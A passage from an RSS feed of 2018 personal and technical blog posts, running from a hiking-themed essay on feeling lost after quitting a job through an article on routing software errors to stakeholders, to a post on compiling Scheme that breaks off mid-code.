all wear t-shirts with the saying “When you come to a fork in the
road, take it”. I had seen that phrase many times and yet heeded it
only a few. Eight months ago, I took what it looked like a very
promising fork. I quit my job.&lt;/p&gt;

&lt;p&gt;The new path was and still is, exciting. Instead of staying in the
valley, it started going up in the forest, metaphorically
speaking. And in this forest is where I’m starting to feel lost. To go
through the woods and up the mountains, it is sometimes possible to
use an existing path and follow the signs. But is not necessary- one
can take a different route making way through the thick vegetation.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_610CE8ED292C2C0C1B0595D0032C56022B402A44AC87B0A2F2DD1B5A76FB383B_1536010047412_cropped-Forest-Path.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Yes! It is possible to get lost and miss the path. But this is not the
type of confusion that I’m talking about. The reason for my feeling
lost is not for the lack of paths and the forest thickness. It is for
having too many directions to choose from, and not deciding which one
to go through.&lt;/p&gt;

&lt;p&gt;Some paths lead right back to the Roman road. Others offer arduous and
perilous shortcuts ahead. And others go further into the wild. I am
still far from the genuinely unexplored wilderness and doubtfully
equipped to handle it. But even that path is still there, in
consideration. What that path promises, is not getting far, but
getting high.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="https://d2mxuefqeaa7sj.cloudfront.net/s_610CE8ED292C2C0C1B0595D0032C56022B402A44AC87B0A2F2DD1B5A76FB383B_1536009868548_IMG_4821+copy.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;A few days ago, hiking in the Pyrenees, I got off the main
path. Coming down, I was following the markings- small stone pyramids,
when I realized that up ahead was a snow section I was not equipped to
cross. It turned out that this was an alternative, harder path. I had
to backtrack up to the main route.&lt;/p&gt;

&lt;p&gt;It that case, you can say I got lost. But being lost is subjective. In
the same situation, I could have decided to continue on the
alternative path and explore. Then I would NOT have been lost. I would
have been wandering and exploring.&lt;/p&gt;

&lt;p&gt;The change of perspective is all it takes to stop being lost. I
realize that I was worried and anxious and feeling lost, in life,
because I had the attitude that I must stay on the path. Even if it is
the new path I am creating.&lt;/p&gt;

&lt;p&gt;Instead of getting stressed over it, I can embrace the wandering. I am
in a new territory for me, and I am only going to find my way by doing
enough exploration. By discovering the dead ends and the passages to
the hidden lakes and vista points. Deciding how high, and how far I
want to go, and my skills and capabilities would take me.&lt;/p&gt;

&lt;p&gt;Richard Feynman once got so
&lt;a href="https://www.physics.ohio-state.edu/~kilcup/262/feynman.html"&gt;burned out&lt;/a&gt;
by the BS of academia, that decided to stop doing “serious” physics,
and instead played with “silly” things such as the wobbliness of
plates spinning in the air. The equations he discovered on that silly
playtime, eventually blazed the trail for him to get a Nobel Prize,
and more importantly, rekindled his love for doing “serious”
physics. The moral I take from that story is that a little silliness
doesn’t always hurt.&lt;/p&gt;

&lt;p&gt;I no longer feel lost and anxious. I am starting to find joy in the
discomfort of being out there, in the open. I am going to look at the
maps, I am going to lighten up my load, and I am going to level up by
doing side quests. I give myself a permission to be silly.&lt;/p&gt;

&lt;p&gt;And then I will continue walking and my path will take me somewhere.&lt;/p&gt;</description><author>D13V</author><pubDate>Tue, 04 Sep 2018 00:21:27 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/09/03/getting-lost</guid></item><item><title>No error left behind</title><link>https://blog.gnoack.org/post/error_handling</link><description>&lt;figure&gt;
&lt;img alt="Cartoon in the style of webcomicname.com - first panel: Stakeholder: &amp;lsquo;Make it do X&amp;rsquo; Developer: &amp;lsquo;OK&amp;rsquo;; second panel: developer works on machine, thinks: &amp;lsquo;X X X X X&amp;rsquo;; third panel: user uses the machine saying &amp;lsquo;Y&amp;rsquo;. Machine: explodes. Developer: &amp;lsquo;oh no&amp;rsquo;" src="/images/reliability.svg" /&gt;
&lt;/figure&gt;
&lt;p&gt;Which design guidelines should software follow in order to run
reliably?  Which guidelines do you use in your day-to-day work?&lt;/p&gt;
&lt;p&gt;Error handling is a significant complexity in real-world projects, but
programming textbooks are often giving very little advice on how to
think about it at the higher level.  This article tries to fill that
gap:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We will define what an error is.&lt;/li&gt;
&lt;li&gt;We will find out that each error has a human stakeholder.&lt;/li&gt;
&lt;li&gt;We will discuss technical mechanisms to bring errors to human attention.&lt;/li&gt;
&lt;li&gt;The final section contains various examples of how to apply this.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To handle the error cases in your software, you should ask yourself
who is the human stakeholder who would be able to address it, and then
find a suitable mechanism to escalate the error in the direction of
that stakeholder.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve cross-checked this approach with multiple people from various
software backgrounds, but I&amp;rsquo;m still happy to receive your feedback.&lt;/p&gt;
&lt;h1 id="what-is-an-error"&gt;What is an error?&lt;/h1&gt;
&lt;blockquote class="def"&gt;&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt;
&lt;em&gt;An error&lt;/em&gt; is when the program is operating outside the intended path
of execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Running programs within the intended path of execution is a goal by
definition.  To track and reach this goal, we need to make it
observable whether the program is running healthily:&lt;/p&gt;
&lt;blockquote class="rule"&gt;&lt;p&gt;&lt;strong&gt;Rule:&lt;/strong&gt;
All errors should be &lt;em&gt;observable&lt;/em&gt; from &lt;em&gt;the outside&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Observable&lt;/em&gt; in this context means that it&amp;rsquo;s possible to bring the
error to a human&amp;rsquo;s attention (e.g. end user, system administrator,
developer) in an automated fashion.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The outside&lt;/em&gt; is defined by the bounds of your program.  The error
reports need to be made accessible to the surrounding environment,
so that stakeholders can access them.&lt;/p&gt;
&lt;h2 id="error-stakeholders"&gt;Error stakeholders&lt;/h2&gt;
&lt;p&gt;The stakeholders for an error are the people involved in the software
lifecycle, such as: End users, developers, system administrators,
network administrators etc.&lt;/p&gt;
&lt;blockquote class="rule"&gt;&lt;p&gt;&lt;strong&gt;Rule:&lt;/strong&gt;
For each error, there is a corresponding stakeholder.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure&gt;
&lt;img alt="" src="/images/stakeholders.svg" /&gt;
&lt;figcaption&gt;&lt;p&gt;Different errors have different stakeholders who can address the issue.&lt;/p&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Is the error cause &lt;strong&gt;within the program itself&lt;/strong&gt;, then the
&lt;strong&gt;developer&lt;/strong&gt; is the stakeholder.&lt;/p&gt;
&lt;p&gt;Is the error cause &lt;strong&gt;in the user input or interaction&lt;/strong&gt; (e.g. invalid
input), then &lt;strong&gt;the user&lt;/strong&gt; is the stakeholder.&lt;/p&gt;
&lt;p&gt;Is the error cause &lt;strong&gt;in the execution environment&lt;/strong&gt;, then &lt;strong&gt;the
operator of that environment&lt;/strong&gt; is the stakeholder (e.g. sysadmin,
network admin, SRE).&lt;/p&gt;
&lt;h1 id="mechanisms"&gt;Mechanisms&lt;/h1&gt;
&lt;h2 id="routing-errors-to-the-stakeholders"&gt;Routing errors to the stakeholders&lt;/h2&gt;
&lt;p&gt;Routing error indicators to the right stakeholders is partially done
in code, and partially within the deployment.  Particularly,
displaying errors to end users is usually done in the program code
itself.  On the other hand, metrics collection set-ups can be
monitored by developers and administrators alike.&lt;/p&gt;
&lt;p&gt;There are two main strategies to make errors observable:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Propagate the error upwards towards the initiator of the erroring
operation.&lt;/li&gt;
&lt;li&gt;Propagate the error to the side (monitoring and logging).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;At least one of these should be used for any error.&lt;/p&gt;
&lt;figure&gt;
&lt;img alt="" src="/images/errors.svg" /&gt;
&lt;figcaption&gt;&lt;p&gt;A function can propagate errors upwards or to the side,&lt;br /&gt;at least one of these should be used.&lt;/p&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2 id="propagating-an-error-upwards"&gt;Propagating an error upwards&lt;/h2&gt;
&lt;p&gt;Propagating &amp;ldquo;upwards&amp;rdquo; moves the responsibility of error handling to a
higher level.  In general, higher level software has more context for
the failing operation, so they are often in a better position to route
the error in the right direction.&lt;/p&gt;
&lt;p&gt;Propagating errors upwards can take many forms.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Function level: &lt;strong&gt;Propagate to the calling procedure&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Return an error code&lt;/li&gt;
&lt;li&gt;Raise an exception&lt;/li&gt;
&lt;li&gt;Propagate a lower-level exception&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Process level: &lt;strong&gt;Crash the process&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Exit the program with an error status (e.g. Unix &lt;a href="http://man7.org/linux/man-pages/man3/exit.3.html"&gt;&lt;code&gt;exit()&lt;/code&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Abort the program (e.g. Unix &lt;a href="http://man7.org/linux/man-pages/man3/abort.3.html"&gt;&lt;code&gt;abort()&lt;/code&gt;&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Network level: &lt;strong&gt;Return the error in a network response&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;User level: &lt;strong&gt;Show the error to the user&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;e.g. in a UI dialog&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote class="info"&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;
Remember to convert the error into a representation which fits the
level of abstraction that the caller expects.  Many languages
support nesting (wrapping) errors so that the full context is
retained.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="propagating-an-error-to-the-side"&gt;Propagating an error to the side&lt;/h2&gt;
&lt;p&gt;Sometimes passing the error upwards is not an option or not
sufficient, for example because you want to transparently recover or
hide a subsystem failure from the user.&lt;/p&gt;
&lt;p&gt;Propagating errors to the side can be one of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Increment a counter which can be monitored from the outside.
(e.g. using Prometheus or Linux kernel stats counters)&lt;/li&gt;
&lt;li&gt;Write the error to an error collection service.
&lt;ul&gt;
&lt;li&gt;For server side software: Record stack traces and notify
developers about them.&lt;/li&gt;
&lt;li&gt;For client side software: Ask the user to send bug reports when
errors are encountered.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Make sure that all the relevant error propagation sinks are
monitored by the right stakeholders during the program&amp;rsquo;s operation.&lt;/p&gt;
&lt;p&gt;Systems like Prometheus are built with monitoring and alerting in
mind.  It&amp;rsquo;s often a good idea to alert on symptoms close to your
business needs and then use collected metrics on other errors for
further analysis&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;blockquote class="warning"&gt;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt;
Textual logging is not an error handling strategy. Logs are not
meant for machine consumption, so it&amp;rsquo;s hard to have automated
monitoring based on them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote class="warning"&gt;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt;
Ignoring errors is not an error handling strategy either.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="what-if-my-case-is-not-a-fit"&gt;What if my case is not a fit?&lt;/h2&gt;
&lt;p&gt;If your case it not a fit, it&amp;rsquo;s possible that the condition at hand
might not be an error to begin with, but is maybe only a &amp;ldquo;corner case&amp;rdquo;
which may happen in normal operation (e.g. a lookup key was not
found).&lt;/p&gt;
&lt;p&gt;Consider switching the way that the condition is propagated.  The
following options are alternatives where otherwise errors may be
used.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Null/empty object:&lt;/strong&gt; Returning empty lists, sets, &lt;code&gt;Optional&amp;lt;T&amp;gt;&lt;/code&gt;
types, or other &lt;a href="https://en.wikipedia.org/wiki/Null_object_pattern"&gt;Null
Objects&lt;/a&gt;. Note
that this is not the same as &lt;code&gt;null&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Separate channel:&lt;/strong&gt; Return the non-error conditions through a
separate channel (e.g. don&amp;rsquo;t use an exception, but return
specially-built objects for these conditions).  &lt;strong&gt;Example:&lt;/strong&gt; A
linter tool&amp;rsquo;s output is produced as part of the expected operation
and is therefore not an error within that context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Null:&lt;/strong&gt; Returning &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;nil&lt;/code&gt; or similar is idiomatic in some languages
too, but may lead to follow-up
errors&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;
when the value is dereferenced.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote class="info"&gt;&lt;p&gt;If none of these worked for you, I&amp;rsquo;d love to hear from you,
so I can correct my understanding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sometimes the most elegant solution is to &lt;strong&gt;change the API to make the
error impossible&lt;/strong&gt;&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;. For example, replace a dynamic check with
one that&amp;rsquo;s statically guaranteed by the type system, or change to
idempotent operation semantics, so that multiple invocations do not
conflict with each other.&lt;/p&gt;
&lt;h1 id="examples"&gt;Examples&lt;/h1&gt;
&lt;p&gt;These are all written from the perspective of a piece of code
detecting an error.&lt;/p&gt;
&lt;h2 id="recovery-through-redundancy"&gt;Recovery through redundancy&lt;/h2&gt;
&lt;h3 id="example"&gt;Example&lt;/h3&gt;
&lt;p&gt;A disk in a software RAID is failing.&lt;/p&gt;
&lt;h3 id="stakeholder"&gt;Stakeholder&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The system administrator&lt;/strong&gt;, as soon as the percentage of recovered executions &amp;gt; threshold.
They can then investigate the cause of network issues, exchange hard
drives or similar.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mechanism"&gt;Mechanism&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Recover&lt;/strong&gt; by retrying the operation on a different disk.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Increment an error counter&lt;/strong&gt; indicating the failure cause.  When
incremented in a monitorable system, this counter can trigger an alert.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="similar-cases"&gt;Similar cases&lt;/h3&gt;
&lt;p&gt;A TCP network packet is lost. (Difference: Retry has less control over
the network routing)&lt;/p&gt;
&lt;h2 id="recovery-through-omission"&gt;Recovery through omission&lt;/h2&gt;
&lt;h3 id="example-1"&gt;Example&lt;/h3&gt;
&lt;p&gt;A web server uses multiple database backends.  One of the
non-essential backends starts to return errors.&lt;/p&gt;
&lt;h3 id="stakeholder-1"&gt;Stakeholder&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;operator&lt;/strong&gt; of the failing subsystem.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mechanism-1"&gt;Mechanism&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Omit&lt;/strong&gt; the backend&amp;rsquo;s response.  (Treat it as if it didn&amp;rsquo;t exist.)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Increment an error counter&lt;/strong&gt; indicating the failure cause, so that
the subsystem operator can be alerted.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="delegating-the-decision-to-the-calling-procedure"&gt;Delegating the decision to the calling procedure&lt;/h2&gt;
&lt;h3 id="example-2"&gt;Example&lt;/h3&gt;
&lt;p&gt;The Unix &lt;code&gt;open()&lt;/code&gt; function is asked to open a given filename for
reading, but the file doesn&amp;rsquo;t exist.&lt;/p&gt;
&lt;h3 id="stakeholder-2"&gt;Stakeholder&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;We don&amp;rsquo;t know&lt;/strong&gt; who is responsible for passing the wrong filename,
but somewhere in the call chain, someone is going to know where that
filename comes from.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mechanism-2"&gt;Mechanism&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Report the error to the caller&lt;/strong&gt; with the documented &lt;code&gt;ENOENT&lt;/code&gt; error code.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="similar-cases-1"&gt;Similar cases&lt;/h3&gt;
&lt;p&gt;Mistakes in passed input values are best handled by the code which
passed them, and which can judge why they happened.&lt;/p&gt;
&lt;h2 id="reporting-upwards-and-sideways-at-the-same-time"&gt;Reporting upwards and sideways at the same time&lt;/h2&gt;
&lt;h3 id="example-3"&gt;Example&lt;/h3&gt;
&lt;p&gt;A web server&amp;rsquo;s servlets are returning errors in the form of HTTP
status codes.&lt;/p&gt;
&lt;h3 id="stakeholders"&gt;Stakeholders&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;requester&lt;/strong&gt; is a stakeholder because they care about the
request.&lt;/li&gt;
&lt;li&gt;The web server&amp;rsquo;s &lt;strong&gt;operator&lt;/strong&gt; is a stakeholder because they care
about keeping overall error fractions within reasonable bounds.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="mechanisms-1"&gt;Mechanisms&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Propagate status via HTTP&lt;/strong&gt;, upwards to the caller who has more
context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Count HTTP statuses&lt;/strong&gt; keyed by relevant criteria (such as
servlet), e.g. in Prometheus, for the web server operator.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnotes"&gt;
&lt;hr /&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;A good background read is the &lt;a href="https://landing.google.com/sre/book/chapters/monitoring-distributed-systems.html#symptoms-versus-causes-g0sEi4"&gt;Site Reliability Engineering Book&lt;/a&gt;, section &amp;ldquo;Symptoms vs. Causes&amp;rdquo;&amp;#160;&lt;a class="footnote-backref" href="#fnref:1"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Tony_Hoare#Apologies_and_retractions"&gt;Wikipedia: Tony Hoare, section &amp;ldquo;Apologies and retractions&amp;rdquo;&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:2"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:3"&gt;
&lt;p&gt;The book &lt;a href="https://www.goodreads.com/book/show/39996759-a-philosophy-of-software-design"&gt;Philosophy of Software Design&lt;/a&gt; by John Ousterhout has an entire chapter on the idea of defining errors away.  The author has also given a &lt;a href="https://www.youtube.com/watch?v=bmSAYlu0NcYt"&gt;tech talk&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:3"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description><author>Blog on blog.gnoack.org</author><pubDate>Mon, 03 Sep 2018 23:36:41 GMT</pubDate><guid isPermaLink="true">https://blog.gnoack.org/post/error_handling</guid></item><item><title>Go's Memory Allocator - Overview</title><link>https://andrestc.com/post/go-memory-allocation-pt1/</link><description>&lt;p&gt;I&amp;rsquo;ve decided to learn how the Go runtime allocates memory and this is the first in a series of posts that are going to cover what I learned (and also the process itself: how I learned). These posts are based of my notes for the talk I gave at Gophercon UK in 2018:&lt;/p&gt;

&lt;p&gt;Slides are available &lt;a href="https://speakerdeck.com/andrestc/understanding-go-memory-allocation-gophercon-uk"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this first post we are going to cover:&lt;/p&gt;
&lt;ol start="0"&gt;
&lt;li&gt;Memory allocation 101&lt;/li&gt;
&lt;li&gt;How the allocator is invoked&lt;/li&gt;
&lt;li&gt;An overview of the tcmalloc algorithm&lt;/li&gt;
&lt;li&gt;An overview of the Go&amp;rsquo;s runtime allocator&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The objective of this post is to give a broad idea of how allocation works on the runtime, without actually showing any of it&amp;rsquo;s code. The following posts on the series will be more dense and with lots of code samples extracted from the runtime. Each of the future posts will cover an specific detail of the allocator.&lt;/p&gt;</description><author>andrestc.com</author><pubDate>Mon, 03 Sep 2018 21:03:34 GMT</pubDate><guid isPermaLink="true">https://andrestc.com/post/go-memory-allocation-pt1/</guid></item><item><title>CMake bookmarks</title><link>https://xenodium.com/cmake-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17897685"&gt;An Introduction to Modern CMake (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cliutils.gitlab.io/modern-cmake/"&gt;An Introduction to Modern CMake&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://steveire.wordpress.com/2017/11/05/embracing-modern-cmake/"&gt;Embracing Modern CMake (Steveire's Blog)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 03 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/cmake-bookmarks</guid></item><item><title>silent spring</title><link>https://one.mikro2nd.net/pages/silent-spring/</link><description>Spring is Sprung Da grass is riz I wonder where Da Boidies iz... Dey gone becos De Bugs dey ate Has all gone die From Glyphosate. An' where de Frogs An' Bees an' Ticks? Dey all die From Neonics!</description><author>one mikro2nd</author><pubDate>Sun, 02 Sep 2018 15:24:25 GMT</pubDate><guid isPermaLink="true">https://one.mikro2nd.net/pages/silent-spring/</guid></item><item><title>Marbling It Up</title><link>https://bengarney.com/2018/09/01/marbling-it-up/</link><description>@MarbleItUp has gone public. We will be launching soon on Switch. I wanted to talk a little bit about the game and how it came to be&amp;#8230; and share some sweet GIFs (in high framerate black and white for download size reasons). Just over a year ago, Mark Frohnmayer came to me with a proposal &amp;#8211; [&amp;#8230;]</description><author>Ben Garney</author><pubDate>Sun, 02 Sep 2018 09:47:10 GMT</pubDate><guid isPermaLink="true">https://bengarney.com/2018/09/01/marbling-it-up/</guid></item><item><title>To Be Unboreable by David Foster Wallace</title><link>https://ho.dges.online/words/commonplace/to-be-unboreable-by-david-foster-wallace/</link><description>&lt;blockquote&gt;
&lt;p&gt;To be, in a word, unboreable&amp;hellip; It is the key to modern life. If you are immune to boredom, there is literally nothing you cannot accomplish.&amp;quot;&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Sun, 02 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/to-be-unboreable-by-david-foster-wallace/</guid></item><item><title>A little bit every day</title><link>https://stephango.com/a-little-bit-every-day</link><description>&lt;p&gt;When trying to jumpstart a new habit, the only thing that matters is making consistent progress.&lt;/p&gt;

&lt;p&gt;It’s easy to get in your own way by setting the bar too high. Instead, set the bar as low as possible. Any progress at all is a good thing. What is the smallest unit of progress you can make?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Do one push up&lt;/li&gt;
  &lt;li&gt;Read one page&lt;/li&gt;
  &lt;li&gt;Write one sentence&lt;/li&gt;
  &lt;li&gt;Take one photo&lt;/li&gt;
  &lt;li&gt;Draw one doodle&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Just do one every day.&lt;/p&gt;

&lt;p&gt;If you can only do one per day for weeks or months, it’s more progress than doing nothing. Soon enough, you’ll have done more than you could have imagined.&lt;/p&gt;</description><author>Steph Ango</author><pubDate>Sun, 02 Sep 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://stephango.com/a-little-bit-every-day</guid></item><item><title>Compiling dynamic programming languages</title><link>http://notes.eatonphil.com/compiling-dynamic-programming-languages.html</link><description>&lt;p&gt;It can be difficult to disassociate the idea that dynamically typed
programming languages are tied to byte-code interpreters (e.g. YARV
Ruby, CPython, V8, Zend Engine, etc.). But for many languages, a
compiled implementation also exists. Cython, Chicken Scheme and SBCL
are good examples.&lt;/p&gt;
&lt;p&gt;In this post I will briefly describe how I built a compiler for my
&lt;a href="https://github.com/eatonphil/bsdscheme"&gt;Scheme implementation&lt;/a&gt; using
artifacts from the interpreter. In doing this, I learned a simple (not
novel) technique for compiling dynamic languages. I'll introduce the
&lt;a href="https://github.com/eatonphil/jsc"&gt;Javascript to C++/V8 compiler&lt;/a&gt; I
am developing using this technique.&lt;/p&gt;
&lt;h3 id="bsdscheme"&gt;BSDScheme&lt;/h3&gt;&lt;p&gt;For the past year I've developed a Scheme implementation,
&lt;a href="https://github.com/eatonphil/bsdscheme"&gt;BSDScheme&lt;/a&gt;. I started with an
AST-interpreter (as opposed to a byte-code compiler and VM). A more
detailed blog post on the first few steps writing BSDScheme can be
found
&lt;a href="http://notes.eatonphil.com/first-few-hurdles-writing-a-scheme-interpreter.html"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As I built up support for the various objects and operations in the
language, I had a sizeable base of D code for the BSDScheme
runtime. This included an object representation for primitive types
(and support for converting to and from types in D) as well as basic
Scheme operations
(&lt;code&gt;+&lt;/code&gt;, &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;car&lt;/code&gt;, &lt;code&gt;cdr&lt;/code&gt;,
etc.).&lt;/p&gt;
&lt;p&gt;When the time came to implement a compiler backend, I only needed to
do codegen since the parser already existed. Furthermore, the
fundamental bits had already been written: object representation and
much of the standard library. So I wrote the simplest compiler I could
think of by targeting D and the objects/functions I had already
written to support the interpreter.&lt;/p&gt;
&lt;p&gt;Take, for example, the &lt;code&gt;equals&lt;/code&gt;
&lt;a href="https://github.com/eatonphil/bsdscheme/blob/master/src/common.d#L140"&gt;function&lt;/a&gt;
in the standard library:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tuple&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;valueToList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arguments&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;car&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tuple&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tagOfValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
